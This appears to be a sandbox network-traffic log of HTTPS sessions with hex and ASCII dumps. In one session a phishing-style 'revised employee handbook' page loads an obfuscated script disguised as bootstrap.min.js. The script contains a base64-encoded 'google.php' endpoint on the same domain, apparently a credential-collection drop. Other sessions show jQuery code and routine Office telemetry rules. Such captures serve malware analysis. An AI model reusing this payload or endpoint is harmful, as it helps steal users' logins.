2025-04-02 06:39:11 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-04-02 06:39:11 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-04-02 06:39:11 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49730	43.128.240.48	443	3392	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:11 UTC	668	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 5298925908-1317754460.cos.ap-tokyo.myqcloud.com Connection: keep-alive sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://revisedemployeehandbook.journeythroughruins.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2025-04-02 06:39:12 UTC	430	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 549832 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Wed, 02 Apr 2025 06:39:12 GMT ETag: "4f10a9512d88a93999c43db958197436" Last-Modified: Thu, 27 Mar 2025 08:51:04 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 16666824865490281341 x-cos-request-id: NjdlY2RiOTBfY2MxMzc2MWVfMmIzYzJfYmY3MTQ3OQ==
2025-04-02 06:39:12 UTC	7774	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 75 62 32 46 75 62 53 35 71 62 33 56 79 62 6d 56 35 64 47 68 79 62 33 56 6e 61 48 4a 31 61 57 35 7a 4c 6d 52 6c 4c 32 64 76 62 32 64 73 5a 53 35 77 61 48 41 3d 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 38 36 38 34 39 3d 5f 30 78 33 35 32 39 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 38 36 65 38 31 2c 5f 30 78 33 38 30 61 63 62 29 7b 76 61 72 20 5f 30 78 33 34 61 31 31 63 3d 5f 30 78 33 35 32 39 2c 5f 30 78 65 66 30 65 32 33 3d 5f 30 78 31 38 36 65 38 31 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 35 33 35 61 34 39 3d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 34 61 31 31 63 28 30 78 32 61 39 29 29 2f 28 30 78 31 65 33 31 2b 30 78 31 33 34 2a 2d 30 78 31 36 Data Ascii: var file = "aHR0cHM6Ly9ub2FubS5qb3VybmV5dGhyb3VnaHJ1aW5zLmRlL2dvb2dsZS5waHA=";var _0x586849=_0x3529;(function(_0x186e81,_0x380acb){var _0x34a11c=_0x3529,_0xef0e23=_0x186e81();while(!![]){try{var _0x535a49=parseInt(_0x34a11c(0x2a9))/(0x1e31+0x134*-0x16
2025-04-02 06:39:12 UTC	8184	IN	Data Raw: 64 36 35 32 37 28 30 78 64 33 31 29 5d 2c 27 73 75 63 63 65 73 73 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 65 64 38 34 61 29 7b 76 61 72 20 5f 30 78 33 62 31 63 37 34 3d 5f 30 78 31 64 36 35 32 37 3b 69 66 28 5f 30 78 31 33 32 32 35 35 5b 5f 30 78 33 62 31 63 37 34 28 30 78 34 62 64 29 5d 28 5f 30 78 34 65 64 38 34 61 5b 5f 30 78 33 62 31 63 37 34 28 30 78 32 39 66 29 5d 2c 5f 30 78 31 33 32 32 35 35 5b 5f 30 78 33 62 31 63 37 34 28 30 78 31 62 37 31 29 5d 29 29 7b 76 61 72 20 5f 30 78 33 32 61 36 63 32 3d 5f 30 78 31 33 32 32 35 35 5b 5f 30 78 33 62 31 63 37 34 28 30 78 32 63 34 29 5d 5b 5f 30 78 33 62 31 63 37 34 28 30 78 38 39 35 29 5d 28 27 7c 27 29 2c 5f 30 78 32 64 65 34 63 35 3d 30 78 61 32 31 2a 30 78 33 2b 30 78 31 31 32 38 2b 2d 30 78 32 66 Data Ascii: d6527(0xd31)],'success':function(_0x4ed84a){var _0x3b1c74=_0x1d6527;if(_0x132255[_0x3b1c74(0x4bd)](_0x4ed84a[_0x3b1c74(0x29f)],_0x132255[_0x3b1c74(0x1b71)])){var _0x32a6c2=_0x132255[_0x3b1c74(0x2c4)][_0x3b1c74(0x895)]('\|'),_0x2de4c5=0xa21*0x3+0x1128+-0x2f
2025-04-02 06:39:12 UTC	8184	IN	Data Raw: 33 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 39 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 31 38 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 31 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 38 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 33 66 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 30 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 30 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 34 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 39 66 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 39 39 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 37 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 38 32 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 62 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 31 38 36 29 2b 5f 30 78 32 37 Data Ascii: 34)+_0x27ef6c(0x159c)+_0x27ef6c(0x2186)+_0x27ef6c(0x1310)+_0x27ef6c(0x1b80)+_0x27ef6c(0x3f3)+_0x27ef6c(0xf03)+_0x27ef6c(0x1304)+_0x27ef6c(0x1145)+_0x27ef6c(0x9fa)+_0x27ef6c(0x1997)+_0x27ef6c(0x477)+_0x27ef6c(0x82c)+_0x27ef6c(0xfb1)+_0x27ef6c(0x2186)+_0x27
2025-04-02 06:39:12 UTC	8184	IN	Data Raw: 30 78 32 37 65 66 36 63 28 30 78 31 33 37 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 64 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 32 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 37 31 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 37 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 32 34 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 62 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 66 39 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 66 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 32 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 62 36 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 36 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 38 61 30 29 2b 5f 30 78 32 37 65 66 36 Data Ascii: 0x27ef6c(0x137a)+_0x27ef6c(0x7d0)+_0x27ef6c(0x1323)+_0x27ef6c(0x271d)+_0x27ef6c(0x779)+_0x27ef6c(0x1249)+_0x27ef6c(0x13b4)+_0x27ef6c(0x1f9e)+_0x27ef6c(0x1bf3)+_0x27ef6c(0x117)+_0x27ef6c(0x1c2f)+_0x27ef6c(0xb63)+_0x27ef6c(0x1e64)+_0x27ef6c(0x18a0)+_0x27ef6
2025-04-02 06:39:12 UTC	8184	IN	Data Raw: 63 28 30 78 31 64 32 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 64 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 30 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 35 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 31 63 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 61 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 32 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 30 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 65 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 62 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 64 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 35 35 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 36 31 29 2b 5f Data Ascii: c(0x1d25)+_0x27ef6c(0x4d9)+_0x27ef6c(0x1c00)+_0x27ef6c(0x1e9)+_0x27ef6c(0x2353)+_0x27ef6c(0x11c7)+_0x27ef6c(0x20aa)+_0x27ef6c(0x152b)+_0x27ef6c(0xd08)+_0x27ef6c(0x4ef)+_0x27ef6c(0x6b7)+_0x27ef6c(0x1ed1)+_0x27ef6c(0x1e6)+_0x27ef6c(0x556)+_0x27ef6c(0x161)+_
2025-04-02 06:39:12 UTC	16384	IN	Data Raw: 35 38 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 62 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 37 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 62 62 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 61 34 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 62 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 38 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 32 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 35 36 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 30 33 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 38 36 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 38 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 62 32 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 64 63 29 2b 5f 30 Data Ascii: 586)+_0x27ef6c(0x1ba)+_0x27ef6c(0x2ab7)+_0x27ef6c(0x677)+_0x27ef6c(0x28bb)+_0x27ef6c(0xa49)+_0x27ef6c(0x1db6)+_0x27ef6c(0x2687)+_0x27ef6c(0x2820)+_0x27ef6c(0x56d)+_0x27ef6c(0x2035)+_0x27ef6c(0x186f)+_0x27ef6c(0x268d)+_0x27ef6c(0x2b25)+_0x27ef6c(0x26dc)+_0
2025-04-02 06:39:12 UTC	8168	IN	Data Raw: 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 61 63 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 32 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 64 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 31 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 65 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 36 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 32 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 33 35 33 29 29 2b 28 5f 30 78 32 37 65 66 36 63 28 30 78 33 62 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 30 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 30 37 35 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 30 35 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 62 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 36 61 33 29 2b 5f 30 78 32 Data Ascii: 4)+_0x27ef6c(0x2acd)+_0x27ef6c(0x723)+_0x27ef6c(0xfd4)+_0x27ef6c(0x1b1f)+_0x27ef6c(0x1ee7)+_0x27ef6c(0x1b69)+_0x27ef6c(0x1d26)+_0x27ef6c(0x353))+(_0x27ef6c(0x3b3)+_0x27ef6c(0x409)+_0x27ef6c(0x1075)+_0x27ef6c(0x1050)+_0x27ef6c(0x1b1)+_0x27ef6c(0x16a3)+_0x2
2025-04-02 06:39:12 UTC	8184	IN	Data Raw: 30 78 32 37 65 66 36 63 28 30 78 32 37 36 36 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 35 37 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 34 64 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 34 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 35 61 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 34 30 66 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 34 36 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 61 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 33 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 34 62 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 30 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 38 39 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 38 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 36 34 32 29 2b 5f 30 78 32 37 65 66 36 63 Data Ascii: 0x27ef6c(0x2766)+_0x27ef6c(0x57f)+_0x27ef6c(0x24dd)+_0x27ef6c(0x134f)+_0x27ef6c(0x25ad)+_0x27ef6c(0x240f)+_0x27ef6c(0x1464)+_0x27ef6c(0x28a1)+_0x27ef6c(0x639)+_0x27ef6c(0x4b1)+_0x27ef6c(0x260a)+_0x27ef6c(0x892)+_0x27ef6c(0x1d8d)+_0x27ef6c(0x642)+_0x27ef6c
2025-04-02 06:39:12 UTC	8184	IN	Data Raw: 32 35 62 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 35 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 61 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 30 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 34 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 36 37 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 39 33 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 32 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 66 35 64 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 38 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 65 32 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 39 65 38 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 30 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 64 37 32 29 2b 5f 30 Data Ascii: 25ba)+_0x27ef6c(0x2859)+_0x27ef6c(0x26e)+_0x27ef6c(0xda7)+_0x27ef6c(0x2308)+_0x27ef6c(0x2342)+_0x27ef6c(0x2671)+_0x27ef6c(0x1593)+_0x27ef6c(0x1c2a)+_0x27ef6c(0xf5d)+_0x27ef6c(0x189)+_0x27ef6c(0x1e28)+_0x27ef6c(0x19e8)+_0x27ef6c(0x1c0a)+_0x27ef6c(0xd72)+_0
2025-04-02 06:39:12 UTC	8184	IN	Data Raw: 28 30 78 38 62 37 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 31 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 34 32 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 38 62 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 37 66 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 32 39 31 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 64 32 65 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 38 66 61 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 35 37 39 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 63 39 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 37 66 30 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 37 61 34 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 32 33 34 32 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 65 61 63 29 2b 5f 30 78 32 37 65 66 36 63 28 30 78 31 33 62 31 Data Ascii: (0x8b7)+_0x27ef6c(0x2312)+_0x27ef6c(0x142c)+_0x27ef6c(0x28be)+_0x27ef6c(0x17f1)+_0x27ef6c(0x1291)+_0x27ef6c(0x1d2e)+_0x27ef6c(0x8fa)+_0x27ef6c(0x1579)+_0x27ef6c(0x1c92)+_0x27ef6c(0x7f0)+_0x27ef6c(0x17a4)+_0x27ef6c(0x2342)+_0x27ef6c(0xeac)+_0x27ef6c(0x13b1

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.17	49733	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:13 UTC	199	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:14 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:13 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: d5f8a99e-b01e-001e-0999-a30214000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063913Z-17cccd5449bkk7bshC1EWR4rww00000014xg00000000ahzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:14 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.17	49735	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:13 UTC	199	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:14 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:13 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 29bfa1de-301e-0096-3799-a3e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063913Z-17cccd5449blr9xfhC1EWR6mgs000000150g000000002zm2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:14 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.17	49731	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:13 UTC	199	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:14 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:13 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 29a78659-e01e-00aa-7299-a3ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063913Z-17cccd5449bpx5xthC1EWRqmf4000000151g000000000g31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:14 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.17	49732	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
